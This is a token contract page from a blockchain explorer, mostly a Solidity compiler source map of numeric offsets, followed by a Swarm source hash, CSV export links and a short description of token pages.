4132:14;;4059:95;:::o;4784:266::-;4882:4;4899:36;4909:6;4917:9;4928:6;4899:9;:36::i;:::-;-1:-1:-1;;;;;4977:19:0;;;;;;:11;:19;;;;;;;;184:10;4977:33;;;;;;;;;4946:74;;4955:6;;4977:42;;5013:6;;4977:42;:::i;:::-;4946:8;:74::i;:::-;-1:-1:-1;5038:4:0;4784:266;;;;;;:::o;741:148::-;654:6;;-1:-1:-1;;;;;654:6:0;184:10;654:22;646:67;;;;-1:-1:-1;;;646:67:0;;;;;;;:::i;:::-;;;;;;;;;848:1:::1;832:6:::0;;811:40:::1;::::0;-1:-1:-1;;;;;832:6:0;;::::1;::::0;811:40:::1;::::0;848:1;;811:40:::1;879:1;862:19:::0;;-1:-1:-1;;;;;;862:19:0::1;::::0;;741:148::o;6013:131::-;654:6;;-1:-1:-1;;;;;654:6:0;184:10;654:22;646:67;;;;-1:-1:-1;;;646:67:0;;;;;;;:::i;:::-;6081:13:::1;:11;:13::i;:::-;6067:11;:27:::0;6123:13:::1;:11;:13::i;:::-;6105:15;:31:::0;6013:131::o;5509:336::-;654:6;;-1:-1:-1;;;;;654:6:0;184:10;654:22;646:67;;;;-1:-1:-1;;;646:67:0;;;;;;;:::i;:::-;5573:14:::1;::::0;::::1;;5572:15;5564:43;;;::::0;-1:-1:-1;;;5564:43:0;;5416:2:1;5564:43:0::1;::::0;::::1;5398:21:1::0;5455:2;5435:18;;;5428:30;-1:-1:-1;;;5474:18:1;;;5467:45;5529:18;;5564:43:0::1;5214:339:1::0;5564:43:0::1;5655:6;::::0;5618:15:::1;:44:::0;;-1:-1:-1;;;;;;5618:44:0::1;-1:-1:-1::0;;;;;5655:6:0;;::::1;5618:44:::0;;::::1;::::0;;5707:25:::1;::::0;;-1:-1:-1;;;5707:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;5655:6;5707:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5689:52:0::1;;5750:4;5757:15;;;;;;;;;-1:-1:-1::0;;;;;5757:15:0::1;-1:-1:-1::0;;;;;5757:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5689:91;::::0;-1:-1:-1;;;;;;5689:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6006:32:1;;;5689:91:0::1;::::0;::::1;5988:51:1::0;6075:32;;6055:18;;;6048:60;5961:18;;5689:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5681:4;::::0;-1:-1:-1;;;;;5681:4:0;;::::1;:99:::0;::::1;;5673:132;;;::::0;-1:-1:-1;;;5673:132:0;;6321:2:1;5673:132:0::1;::::0;::::1;6303:21:1::0;6360:2;6340:18;;;6333:30;-1:-1:-1;;;6379:18:1;;;6372:50;6439:18;;5673:132:0::1;6119:344:1::0;5673:132:0::1;5816:14;:21:::0;;-1:-1:-1;;5816:21:0::1;5833:4;5816:21;::::0;;5509:336::o;4289:167::-;4367:4;4384:42;184:10;4408:9;4419:6;4384:9;:42::i;5058:335::-;-1:-1:-1;;;;;5151:19:0;;5143:68;;;;-1:-1:-1;;;5143:68:0;;6670:2:1;5143:68:0;;;6652:21:1;6709:2;6689:18;;;6682:30;6748:34;6728:18;;;6721:62;-1:-1:-1;;;6799:18:1;;;6792:34;6843:19;;5143:68:0;6468:400:1;5143:68:0;-1:-1:-1;;;;;5230:21:0;;5222:68;;;;-1:-1:-1;;;5222:68:0;;7075:2:1;5222:68:0;;;7057:21:1;7114:2;7094:18;;;7087:30;7153:34;7133:18;;;7126:62;-1:-1:-1;;;7204:18:1;;;7197:32;7246:19;;5222:68:0;6873:398:1;5222:68:0;-1:-1:-1;;;;;5301:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5353:32;;1283:25:1;;;5353:32:0;;1256:18:1;5353:32:0;;;;;;;;5058:335;;;:::o;6357:1098::-;6455:1;6446:6;:10;6438:34;;;;-1:-1:-1;;;6438:34:0;;7478:2:1;6438:34:0;;;7460:21:1;7517:2;7497:18;;;7490:30;-1:-1:-1;;;7536:18:1;;;7529:41;7587:18;;6438:34:0;7276:335:1;6438:34:0;6490:14;;;;6485:217;;565:7;592:6;-1:-1:-1;;;;;6529:15:0;;;592:6;;6529:15;6521:47;;;;-1:-1:-1;;;6521:47:0;;7818:2:1;6521:47:0;;;7800:21:1;7857:2;7837:18;;;7830:30;-1:-1:-1;;;7876:18:1;;;7869:49;7935:18;;6521:47:0;7616:343:1;6521:47:0;6587:4;;-1:-1:-1;;;;;6587:4:0;6583:108;;6626:4;:9;;-1:-1:-1;;;;;;6626:9:0;-1:-1:-1;;;;;6626:9:0;;;;;6654:21;6658:4;6626:9;6668:6;6654:3;:21::i;:::-;;6583:108;-1:-1:-1;;;;;6718:21:0;;6734:4;6718:21;;:44;;-1:-1:-1;;;;;;6743:19:0;;6757:4;6743:19;6718:44;:56;;;-1:-1:-1;6766:8:0;;;;;;;6718:56;6714:142;;;6791:32;6806:4;6812:2;6816:6;6791:14;:32::i;:::-;6357:1098;;;:::o;6714:142::-;6878:4;;-1:-1:-1;;;;;6872:10:0;;;6878:4;;6872:10;:60;;;;-1:-1:-1;6914:18:0;;6904:4;4228:7;4255:18;;;:9;:18;;;;;;6886:46;;6872:60;6868:231;;;6949:8;:15;;-1:-1:-1;;6949:15:0;;;;;6979:42;6996:24;7014:4;-1:-1:-1;;;;;4255:18:0;4228:7;4255:18;;;:9;:18;;;;;;;4162:119;6996:24;6979:16;:42::i;:::-;7036:8;:16;;-1:-1:-1;;7036:16:0;;;7067:20;:18;:20::i;:::-;7123:4;;-1:-1:-1;;;;;7115:12:0;;;7123:4;;7115:12;:28;;;;-1:-1:-1;7137:6:0;;-1:-1:-1;;;;;7131:12:0;;;7137:6;;7131:12;;7115:28;7111:207;;;7178:11;;7168:6;:21;;7160:49;;;;-1:-1:-1;;;7160:49:0;;8166:2:1;7160:49:0;;;8148:21:1;8205:2;8185:18;;;8178:30;-1:-1:-1;;;8224:18:1;;;8217:45;8279:18;;7160:49:0;7964:339:1;7160:49:0;7267:15;;7257:6;7232:22;7250:2;-1:-1:-1;;;;;4255:18:0;4228:7;4255:18;;;:9;:18;;;;;;;4162:119;7232:22;:31;;;;:::i;:::-;:50;;7224:82;;;;-1:-1:-1;;;7224:82:0;;8640:2:1;7224:82:0;;;8622:21:1;8679:2;8659:18;;;8652:30;-1:-1:-1;;;8698:18:1;;;8691:49;8757:18;;7224:82:0;8438:343:1;7224:82:0;7367:4;;7339:33;;7347:4;;7353:6;;-1:-1:-1;;;;;7361:10:0;;;7367:4;;7361:10;7339:7;:33::i;:::-;7330:42;;7383:32;7398:4;7404:2;7408:6;7383:14;:32::i;:::-;7426:21;7430:4;7436:2;7440:6;7426:3;:21::i;:::-;;6357:1098;;;:::o;5853:152::-;5926:4;5965:8;5479:12;;;5401:100;5965:8;5950:47;;-1:-1:-1;;;5950:47:0;;-1:-1:-1;;;;;9006:32:1;;;5950:47:0;;;8988:51:1;9075:32;;;9055:18;;;9048:60;9124:18;;;9117:34;;;5950:29:0;;;;;;;8961:18:1;;5950:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5943:54;5853:152;-1:-1:-1;;;;5853:152:0:o;6152:197::-;-1:-1:-1;;;;;6238:15:0;;;;;;:9;:15;;;;;:25;;6257:6;;6238:15;:25;;6257:6;;6238:25;:::i;:::-;;;;-1:-1:-1;;;;;;;6274:13:0;;;;;;:9;:13;;;;;:23;;6291:6;;6274:13;:23;;6291:6;;6274:23;:::i;:::-;;;;;;;;6330:2;-1:-1:-1;;;;;6315:26:0;6324:4;-1:-1:-1;;;;;6315:26:0;;6334:6;6315:26;;;;1283:25:1;;1271:2;1256:18;;1137:177;7796:541:0;7887:16;;;7901:1;7887:16;;;;;;;;7863:21;;7887:16;;;;;;;;;;-1:-1:-1;7887:16:0;7863:40;;7932:4;7914;7919:1;7914:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7914:23:0;;;:7;;;;;;;;;;:23;;;;7958:15;;:22;;;-1:-1:-1;;;7958:22:0;;;;:15;;;;;:20;;:22;;;;;7914:7;;7958:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7948:4;7953:1;7948:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7948:32:0;;;:7;;;;;;;;;:32;8025:15;;7993:62;;8010:4;;8025:15;8043:11;7993:8;:62::i;:::-;8070:15;;8212:9;;8070:217;;-1:-1:-1;;;8070:217:0;;-1:-1:-1;;;;;8070:15:0;;;;:66;;:217;;8151:11;;8070:15;;8193:4;;8212:9;;;8070:15;;8261;;8070:217;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8066:264;;8312:7;7796:541;:::o;8066:264::-;7852:485;7796:541;:::o;8345:156::-;8399:21;:25;8395:99;;8441:9;;:41;;-1:-1:-1;;;;;8441:9:0;;;;8460:21;8441:41;;;;;:9;:41;:9;:41;8460:21;8441:9;:41;;;;;;;;;;;;;;;;;;;;;8395:99;8345:156::o;7463:325::-;7541:7;7561:11;7575:6;:25;;7594:6;;;;;;;7575:25;;;7584:7;;;;;;;7575:25;7561:39;;;;7615:3;7622:1;7615:8;7611:27;;7632:6;7625:13;;;;;7611:27;7649:17;7684:3;7669:12;7678:3;7669:6;:12;:::i;:::-;:18;;;;:::i;:::-;7649:38;;7698:46;7713:4;7727;7734:9;7698:14;:46::i;:::-;7762:18;7771:9;7762:6;:18;:::i;:::-;7755:25;7463:325;-1:-1:-1;;;;;;7463:325:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2590:388::-;2658:6;2666;2719:2;2707:9;2698:7;2694:23;2690:32;2687:52;;;2735:1;2732;2725:12;2687:52;2774:9;2761:23;2793:31;2818:5;2793:31;:::i;:::-;2843:5;-1:-1:-1;2900:2:1;2885:18;;2872:32;2913:33;2872:32;2913:33;:::i;:::-;2965:7;2955:17;;;2590:388;;;;;:::o;2983:127::-;3044:10;3039:3;3035:20;3032:1;3025:31;3075:4;3072:1;3065:15;3099:4;3096:1;3089:15;3115:375;3203:1;3221:5;3235:249;3256:1;3246:8;3243:15;3235:249;;;3306:4;3301:3;3297:14;3291:4;3288:24;3285:50;;;3315:18;;:::i;:::-;3365:1;3355:8;3351:16;3348:49;;;3379:16;;;;3348:49;3462:1;3458:16;;;;;3418:15;;3235:249;;;3115:375;;;;;;:::o;3495:902::-;3544:5;3574:8;3564:80;;-1:-1:-1;3615:1:1;3629:5;;3564:80;3663:4;3653:76;;-1:-1:-1;3700:1:1;3714:5;;3653:76;3745:4;3763:1;3758:59;;;;3831:1;3826:174;;;;3738:262;;3758:59;3788:1;3779:10;;3802:5;;;3826:174;3863:3;3853:8;3850:17;3847:43;;;3870:18;;:::i;:::-;-1:-1:-1;;3926:1:1;3912:16;;3985:5;;3738:262;;4084:2;4074:8;4071:16;4065:3;4059:4;4056:13;4052:36;4046:2;4036:8;4033:16;4028:2;4022:4;4019:12;4015:35;4012:77;4009:203;;;-1:-1:-1;4121:19:1;;;4197:5;;4009:203;4244:42;-1:-1:-1;;4269:8:1;4263:4;4244:42;:::i;:::-;4322:6;4318:1;4314:6;4310:19;4301:7;4298:32;4295:58;;;4333:18;;:::i;:::-;4371:20;;3495:902;-1:-1:-1;;;3495:902:1:o;4402:140::-;4460:5;4489:47;4530:4;4520:8;4516:19;4510:4;4489:47;:::i;4547:168::-;4620:9;;;4651;;4668:15;;;4662:22;;4648:37;4638:71;;4689:18;;:::i;4720:128::-;4787:9;;;4808:11;;;4805:37;;;4822:18;;:::i;4853:356::-;5055:2;5037:21;;;5074:18;;;5067:30;5133:34;5128:2;5113:18;;5106:62;5200:2;5185:18;;4853:356::o;5558:251::-;5628:6;5681:2;5669:9;5660:7;5656:23;5652:32;5649:52;;;5697:1;5694;5687:12;5649:52;5729:9;5723:16;5748:31;5773:5;5748:31;:::i;8308:125::-;8373:9;;;8394:10;;;8391:36;;;8407:18;;:::i;9162:277::-;9229:6;9282:2;9270:9;9261:7;9257:23;9253:32;9250:52;;;9298:1;9295;9288:12;9250:52;9330:9;9324:16;9383:5;9376:13;9369:21;9362:5;9359:32;9349:60;;9405:1;9402;9395:12;9576:127;9637:10;9632:3;9628:20;9625:1;9618:31;9668:4;9665:1;9658:15;9692:4;9689:1;9682:15;9708:1051;10006:4;10054:3;10043:9;10039:19;10085:6;10074:9;10067:25;10128:6;10123:2;10112:9;10108:18;10101:34;10171:3;10166:2;10155:9;10151:18;10144:31;10195:6;10230;10224:13;10261:6;10253;10246:22;10299:3;10288:9;10284:19;10277:26;;10338:2;10330:6;10326:15;10312:29;;10359:1;10369:195;10383:6;10380:1;10377:13;10369:195;;;10448:13;;-1:-1:-1;;;;;10444:39:1;10432:52;;10513:2;10539:15;;;;10504:12;;;;10480:1;10398:9;10369:195;;;-1:-1:-1;;;;;;;10620:32:1;;;10615:2;10600:18;;10593:60;2339:31;;10704:3;10689:19;;2327:44;10581:3;-1:-1:-1;10662:47:1;;-1:-1:-1;2273:104:1;10662:47;10746:6;10740:3;10729:9;10725:19;10718:35;9708:1051;;;;;;;;;:::o;10764:217::-;10804:1;10830;10820:132;;10874:10;10869:3;10865:20;10862:1;10855:31;10909:4;10906:1;10899:15;10937:4;10934:1;10927:15;10820:132;-1:-1:-1;10966:9:1;;10764:217::o

Swarm Source

ipfs://8a110c55c3cfea35a91a8d2834999f62a28442da4b8a42c835eb958162cfdb0a
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.